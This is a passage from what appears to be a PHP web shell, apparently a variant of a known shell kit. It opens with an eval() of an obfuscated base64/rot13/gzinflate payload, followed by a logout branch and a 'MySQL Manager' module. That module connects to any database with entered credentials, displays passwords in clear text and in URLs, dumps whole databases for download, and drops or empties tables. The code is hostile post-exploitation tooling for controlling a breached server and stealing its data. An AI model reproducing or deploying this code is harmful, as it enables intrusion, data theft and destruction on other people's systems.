806 {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
807elseif($_GET['do'] == 'metu') {
808
809
810echo '<form action="?dir=$dir&do=metu" method="post">';
811 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
812 echo 'Byee !';
813
814}
815elseif($_GET['do'] == 'sql') {
816 echo "
817<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
818
819 <tr>
820 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
821 <center><b><font size=5 style=italic color=#00ff00>MySQL Manager</font></b></center></td></tr></table>
822";
823function view_size($size) {
824 if (!is_numeric($size)) { return FALSE; }
825 else {
826if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
827elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
828elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
829else {$size = $size . " B";}
830return $size;
831 }
832}
833function mysql_dump($set) {
834 $sock = $set["sock"];
835 $db = $set["db"];
836 $print = $set["print"];
837 $nl2br = $set["nl2br"];
838 $file = $set["file"];
839 $add_drop = $set["add_drop"];
840 $tabs = $set["tabs"];
841 $onlytabs = $set["onlytabs"];
842 $ret = array();
843 $ret["err"] = array();
844 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
845 if (empty($db)) {$db = "db";}
846 if (empty($print)) {$print = 0;}
847 if (empty($nl2br)) {$nl2br = 0;}
848 if (empty($add_drop)) {$add_drop = TRUE;}
849 if (empty($file)) {
850$file = $tmp_dir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
851 }
852 if (!is_array($tabs)) {$tabs = array();}
853 if (empty($add_drop)) {$add_drop = TRUE;}
854 if (sizeof($tabs) == 0) {
855$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
856if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
857 }
858 $out = "
859 # Dumped By ".$xName."
860 # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
861 # Date: ".date("d.m.Y H:i:s")."
862 # DB: \"".$db."\"
863 #---------------------------------------------------------";
864 $c = count($onlytabs);
865 foreach($tabs as $tab) {
866if ((in_array($tab,$onlytabs)) or (!$c)) {
867 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
868 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
869 if (!$res) {$ret["err"][] = mysql_smarterror();}
870 else {
871$row = mysql_fetch_row($res);
872$out .= $row["1"].";\n\n";
873$res = mysql_query("SELECT * FROM `$tab`", $sock);
874if (mysql_num_rows($res) > 0) {
875 while ($row = mysql_fetch_assoc($res)) {
876$keys = implode("`, `", array_keys($row));
877$values = array_values($row);
878foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
879$values = implode("', '", $values);
880$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
881$out .= $sql;
882 }
883}
884 }
885}
886 }
887 $out .= "#---------------------------------------------------------------------------------\n\n";
888 if ($file) {
889$fp = fopen($file, "w");
890if (!$fp) {$ret["err"][] = 2;}
891else {
892 fwrite ($fp, $out);
893 fclose ($fp);
894}
895 }
896 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
897 return $out;
898}
899function mysql_buildwhere($array,$sep=" and",$functs=array()) {
900 if (!is_array($array)) {$array = array();}
901 $result = "";
902 foreach($array as $k=>$v) {
903$value = "";
904if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
905$value .= "'".addslashes($v)."'";
906if (!empty($functs[$k])) {$value .= ")";}
907$result .= "`".$k."` = ".$value.$sep;
908 }
909 $result = substr($result,0,strlen($result)-strlen($sep));
910 return $result;
911}
912function mysql_fetch_all($query,$sock) {
913 if ($sock) {$result = mysql_query($query,$sock);}
914 else {$result = mysql_query($query);}
915 $array = array();
916 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
917 mysql_free_result($result);
918 return $array;
919}
920function mysql_smarterror($sock) {
921 if ($sock) { $error = mysql_error($sock); }
922 else { $error = mysql_error(); }
923 $error = htmlspecialchars($error);
924 return $error;
925}
926function mysql_query_form() {
927 global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
928 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
929 if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
930 if ((!$submit) or ($sql_x)) {
931echo "<table><tr><td><form name=\"fx29sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
932if ($tbl_struct) {
933 echo "<td valign=\"top\"><b>Fields:</b><br>";
934 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
935 echo "</td></tr></table>";
936}
937 }
938 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
939}
940function mysql_create_db($db,$sock="") {
941 $sql = "CREATE DATABASE `".addslashes($db)."`;";
942 if ($sock) {return mysql_query($sql,$sock);}
943 else {return mysql_query($sql);}
944}
945function mysql_query_parse($query) {
946 $query = trim($query);
947 $arr = explode (" ",$query);
948 $types = array(
949"SELECT"=>array(3,1),
950"SHOW"=>array(2,1),
951"DELETE"=>array(1),
952"DROP"=>array(1)
953 );
954 $result = array();
955 $op = strtoupper($arr[0]);
956 if (is_array($types[$op])) {
957$result["propertions"] = $types[$op];
958$result["query"] = $query;
959if ($types[$op] == 2) {
960 foreach($arr as $k=>$v) {
961if (strtoupper($v) == "LIMIT") {
962 $result["limit"] = $arr[$k+1];
963 $result["limit"] = explode(",",$result["limit"]);
964 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
965 unset($arr[$k],$arr[$k+1]);
966}
967 }
968}
969 }
970 else { return FALSE; }
971}
972function disp_error($msg) { echo "<div class=errmsg>$msg</div>\n"; }
973function html_style() {
974$style = ' <style type="text/css"> a { text-decoration:none; } a:hover { color: #00ff00; border-bottom:1px solid #00ff00; } input[type="text"], input[type="password"], select{ background:#111111; border:0; padding:2px; border:1px solid #444444; } input[type="submit"]{ background:#111111; color:#ffffff; margin:0 4px; border:1px solid #444444;} input[type="text"]:hover, input[type="submit"]:hover, input[type="password"]:hover, select:hover{ border-bottom:1px solid #00ff00;border-top:1px solid #00ff00;} .tab { width:100%; } th{ background:#191919; border-bottom:1px solid #333333; font-weight:normal; } .tub { width:100%; } .tub th{ border-bottom:1px solid #00ff00; padding:3px;} .tub tr:hover{ background:#006400; } .tub td{ border-bottom:1px solid #333333; padding-left:3px; } #maininfo { padding:5px; margin-top:10px; margin-left:2px; margin-right:2px; background:#191919; } #maininfo a{ color:#00ff00; } textarea { background:#000000; border:1px solid #444444;} textarea:hover { border:1px solid #00ff00;} </style><center>';
975return $style;
976}
977$auto_surl = TRUE;
978foreach ($_REQUEST as $k => $v) {
979 if (!isset($$k)) { $$k = $v; }
980}
981if ($auto_surl) {
982 $include = "&";
983 foreach (explode("&",getenv("QUERY_STRING")) as $v) {
984$v= explode("=",$v);
985$name= urldecode($v[0]);
986$value= @urldecode($v[1]);
987$needles = array("http://","https://","ssl://","ftp://","\\\\");
988foreach ($needles as $needle) {
989 if (strpos($value,$needle) === 0) {
990$includestr .= urlencode($name)."=".urlencode($value)."&";
991 } } } }
992if (empty($surl)) { $surl = htmlspecialchars("?".@$includestr); }
993if (!isset($x)) { $x = "sql"; }
994 if ($x == "sql") {
995 foreach (array("sort","sql_sort") as $v) {
996if (!empty($_GET[$v])) { $$v = $_GET[$v]; }
997if (!empty($_POST[$v])) { $$v = $_POST[$v]; }
998 }
999 if ($sort_save) {
1000if (!empty($sort)) { setcookie("sort",$sort); }
1001if (!empty($sql_sort)) { setcookie("sql_sort",$sql_sort); }
1002 }
1003 if (!isset($sort)) { $sort = $sort_default; }
1004 $sort = htmlspecialchars($sort);
1005 $sort[1] = strtolower($sort[1]);
1006 echo html_style();
1007echo "<div id='maininfo'>";
1008 if ($x == "sql") {
1009 $sql_surl = $surl."x=sql";
1010 if (!isset($sql_login)) { $sql_login = ""; }
1011 if (!isset($sql_passwd)) { $sql_passwd = ""; }
1012 if (!isset($sql_server)) { $sql_server = ""; }
1013 if (!isset($sql_port)) { $sql_port = ""; }
1014 if (!isset($sql_tbl)) { $sql_tbl = ""; }
1015 if (!isset($sql_x)) { $sql_x = ""; }
1016 if (!isset($sql_tbl_x)) { $sql_tbl_x = ""; }
1017 if (!isset($sql_order)) { $sql_order = ""; }
1018 if (!isset($sql_x)) { $sql_x = ""; }
1019 if (!isset($sql_getfile)) { $sql_getfile = ""; }
1020 if (@$sql_login) { $sql_surl .= "&sql_login=".htmlspecialchars($sql_login); }
1021 if (@$sql_passwd) { $sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd); }
1022 if (@$sql_server) { $sql_surl .= "&sql_server=".htmlspecialchars($sql_server); }
1023 if (@$sql_port){ $sql_surl .= "&sql_port=".htmlspecialchars($sql_port); }
1024 if (@$sql_db) { $sql_surl .= "&sql_db=".htmlspecialchars($sql_db); }
1025 $sql_surl .= "&";
1026 echo "";
1027 if (@$sql_server) {
1028$sql_sock = @mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
1029$err = mysql_smarterror($sql_sock);
1030@mysql_select_db($sql_db,$sql_sock);
1031if (@$sql_query and $submit) {
1032 $sql_query_result = mysql_query($sql_query,$sql_sock);
1033 $sql_query_error = mysql_smarterror($sql_sock);
1034}
1035 }
1036 else { $sql_sock = FALSE; }
1037 if (!$sql_sock) {
1038if (!@$sql_server) { echo "<blink><b><font style= color:#ff0000>No Connection ! ! !</font></b></blink>"; }
1039else { disp_error("ERROR: ".$err); }
1040 }
1041 else {
1042#SQL Quicklaunch
1043$sqlquicklaunch= array();
1044$sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
1045$sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl));
1046$sqlquicklaunch[] = array("Server status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus");
1047$sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars");
1048$sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes");
1049$sqlquicklaunch[] = array("Logout",$surl."x=sql");
1050echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") Server: ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
1051if (count($sqlquicklaunch) > 0) {
1052 foreach($sqlquicklaunch as $item) {
1053echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";
1054 }
1055 }
1056 }
1057echo "</div>";
1058echo "<center><table class='tab'><tr>";
1059 if (!$sql_sock) {
1060 echo '<td>
1061<form name="f_sql" action="'.$surl.'x=sql" method="POST">
1062<input type="hidden" name="x" value="sql">
1063<table class="tabnet" style="padding:1px;">
1064<tr><th colspan="2"><b>MySQL Manager</b></th></tr>
1065<tr><td>Host</td><td><input type="text" name="sql_server" class="inputz" style="width:249px;background:black" value="localhost"></td></tr>
1066<tr><td>Username</td><td><input type="text" name="sql_login" class="inputz" value="" style="width:249px;background:black"></td></tr>
1067<tr><td>Password</td><td><input type="password" name="sql_passwd" class="inputz" value="" style="width:249px;background:black;"></td></tr>
1068<tr><td>Database</td><td><input type="text" name="sql_db" value="" class="inputz" style="width:249px;background:black"></td></tr>
1069<tr><td>Port</td><td><input type="text" name="sql_port" class="inputz" value="3306" style="background:black;" size="6"> <input type="submit" class="inputzbut" style=color:$color value="Connect"></td></tr>
1070</table>
1071</form>';
1072 }
1073 else {
1074 echo '<td valign="top" style="border:1px solid #333333;">
1075<center>
1076<a href="'.$sql_surl.'"><b style="color:#00ff00;">HOME</b></a>
1077<hr size="1" noshade>';
1078 $result = mysql_list_dbs($sql_sock);
1079 if (!$result) { echo mysql_smarterror(); }
1080 else {
1081 echo '<form action="'.$surl.'x=sql">
1082<input type="hidden" name="x" value="sql">
1083<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1084<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1085<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1086<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1087<select name="sql_db" onchange="this.form.submit()" style="width:100%;">';
1088$c = 0;
1089$dbs = "";
1090while ($row = mysql_fetch_row($result)) {
1091 $dbs .= "\t\t<option value=\"".$row[0]."\"";
1092 if (@$sql_db == $row[0]) { $dbs .= " selected"; }
1093 $dbs .= ">".$row[0]."</option>\n";
1094 $c++;
1095}
1096echo "\t\t<option value=\"\">Databases (".$c.")</option>\n";
1097echo $dbs;
1098 }
1099echo '</select>
1100<hr size="1" noshade>
1101</form>
1102</center>';
1103if (isset($sql_db)) {
1104 $result = mysql_list_tables($sql_db);
1105 if (!$result) {
1106$result = mysql_list_dbs($sql_sock);
1107$num = mysql_num_rows($result);
1108for( $i = 0; $i < $num; $i++ ) {
1109$dbname = mysql_dbname( $result, $i );
1110echo "<table class='tab'><td style='background:#3F3F3F;border:1px solid #202020;border-top: 1px solid #505050;border-left: 1px solid #505050;'><b>+ <a href=\"".$sql_surl."sql_db=".$dbname."\">$dbname</a></b></td></table>"; } }
1111 else {
1112echo "\t<table class='tub'><th><a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a></th></table><br>\n";
1113$c = 0;
1114while ($row = mysql_fetch_array($result)) {
1115 $count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]);
1116 $count_row = mysql_fetch_array($count);
1117 echo "\t<b>+ <a style='color:#00ff00;' href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\">".htmlspecialchars($row[0])."</a></b> (".$count_row[0].")</br></b>\n";
1118 mysql_free_result($count);
1119 $c++;
1120}
1121if (!$c) { echo "No tables found in database"; }
1122 }
1123}
1124echo '</td>';
1125echo '<td style="border:1px solid #333333;">';
1126$diplay = TRUE;
1127if (@$sql_db) {
1128 if (!is_numeric($c)) { $c = 0; }
1129 if ($c == 0) { $c = "no"; }
1130 echo "\t<center><b>There are ".$c." table(s) in database: ".htmlspecialchars($sql_db)."";
1131 if (count(@$dbquicklaunch) > 0) {
1132foreach($dbsqlquicklaunch as $item) {
1133 echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";
1134}
1135 }
1136 echo "</b></center>\n";
1137 $xs = array("","dump");
1138 if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1139 elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_x = "query";}
1140 elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";}
1141 elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1142 elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1143 elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1144 elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1145 elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";}
1146 elseif ($sql_tbl_x == "insert") {
1147if ($sql_tbl_insert_radio == 1) {
1148 $keys = "";
1149 $akeys = array_keys($sql_tbl_insert);
1150 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
1151 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
1152 $values = "";
1153 $i = 0;
1154 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
1155 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
1156 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
1157 $sql_x = "query";
1158 $sql_tbl_x = "browse";
1159}
1160elseif ($sql_tbl_insert_radio == 2) {
1161 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
1162 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
1163 $result = mysql_query($sql_query) or print(mysql_smarterror());
1164 $result = mysql_fetch_array($result, MYSQL_ASSOC);
1165 $sql_x = "query";
1166 $sql_tbl_x = "browse";
1167}
1168 }
1169 if ($sql_x == "query") {
1170echo "<hr size=\"1\" noshade>";
1171if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
1172if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
1173if ((!$submit) or ($sql_x)) { echo "<table class='tab'><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>"; }
1174 }
1175 if (in_array($sql_x,$xs)) {
1176echo '<table class="tab">
1177<tr>
1178<td style="border:1px solid #333333;padding:3px;">
1179<b>Create new table:</b>
1180<form action="'.$surl.'">
1181<input type="hidden" name="x" value="sql">
1182<input type="hidden" name="sql_x" value="newtbl">
1183<input type="hidden" name="sql_db" value="'.htmlspecialchars($sql_db).'">
1184<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1185<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1186<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1187<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1188<input type="text" name="sql_newtbl" size="20">
1189Fields: <input type="text" name="sql_field" size="3">
1190<input class="inputzbut" type="submit" value="Create">
1191</form>
1192</td>
1193<td style="border:1px solid #333333;padding:3px;"><b>Dump DB:</b>
1194<form action="'.$surl.'">
1195<input type="hidden" name="x" value="sql">
1196<input type="hidden" name="sql_x" value="dump">
1197<input type="hidden" name="sql_db" value="'.htmlspecialchars($sql_db).'">
1198<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1199<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1200<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1201<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1202<input type="text" name="dump_file" size="30" value="dump_'.getenv("SERVER_NAME").'_'.$sql_db.'_'.date("d-m-Y-H-i-s").'.sql">
1203<input type="submit" class="inputzbut" name="submit" value="Dump">
1204</form>
1205</td>
1206</tr>
1207</table>';
1208if (!empty($sql_x)) { echo "<hr size=\"1\" noshade>"; }
1209if ($sql_x == "newtbl") {
1210 echo "<b>";
1211 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
1212echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
1213 }
1214 else { echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror(); }
1215}
1216elseif ($sql_x == "dump") {
1217 if (empty($submit)) {
1218$diplay = FALSE;
1219echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
1220echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
1221$v = join (";",$dmptbls);
1222echo "<b>Only tables (explode \";\") :</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
1223if ($dump_file) {$tmp = $dump_file;}
1224else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
1225echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
1226echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
1227echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
1228echo "<br><br><input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"Dump\">";
1229echo "</form>";
1230 }
1231 else {
1232$diplay = TRUE; $set = array(); $set["sock"] = $sql_sock; $set["db"] = $sql_db; $dump_out = "download"; $set["print"] = 0;
1233$set["nl2br"] = 0; $set[""] = 0; $set["file"] = $dump_file; $set["add_drop"] = TRUE; $set["onlytabs"] = array();
1234if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
1235$ret = mysql_dump($set);
1236if ($sql_dump_download) {
1237 @ob_clean();
1238 header("Content-type: application/octet-stream");
1239 header("Content-length: ".strlen($ret));
1240 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
1241 echo $ret;
1242 exit;
1243}
1244elseif ($sql_dump_savetofile) {
1245 $fp = fopen($sql_dump_file,"w");
1246 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
1247 else {
1248fwrite($fp,$ret);
1249fclose($fp);
1250echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
1251 }
1252}
1253else {echo "<b>Dump: nothing to do!</b>";}
1254 }
1255}
1256if ($diplay) {
1257 if (!empty($sql_tbl)) {
1258 if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
1259 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
1260 $count_row = mysql_fetch_array($count);
1261 mysql_free_result($count);
1262 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
1263$tbl_struct_fields = array();
1264while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
1265 if (@$sql_ls > @$sql_le) { $sql_le = $sql_ls + $perpage; }
1266 if (empty($sql_tbl_page)) { $sql_tbl_page = 0; }
1267 if (empty($sql_tbl_ls)) { $sql_tbl_ls = 0; }
1268 if (empty($sql_tbl_le)) { $sql_tbl_le = 30; }
1269 $perpage = $sql_tbl_le - $sql_tbl_ls;
1270 if (!is_numeric($perpage)) { $perpage = 10; }
1271 $numpages = $count_row[0]/$perpage;
1272 $e = explode(" ",$sql_order);
1273 if (count($e) == 2) {
1274if ($e[0] == "d") { $asc_desc = "DESC"; }
1275else { $asc_desc = "ASC"; }
1276$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
1277 }
1278 else {$v = "";}
1279 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
1280 $result = mysql_query($query) or print(mysql_smarterror());
1281 echo "<center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
1282 echo "<hr size=\"1\" noshade>";
1283 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure\">[<b> Structure </b>]</a> ";
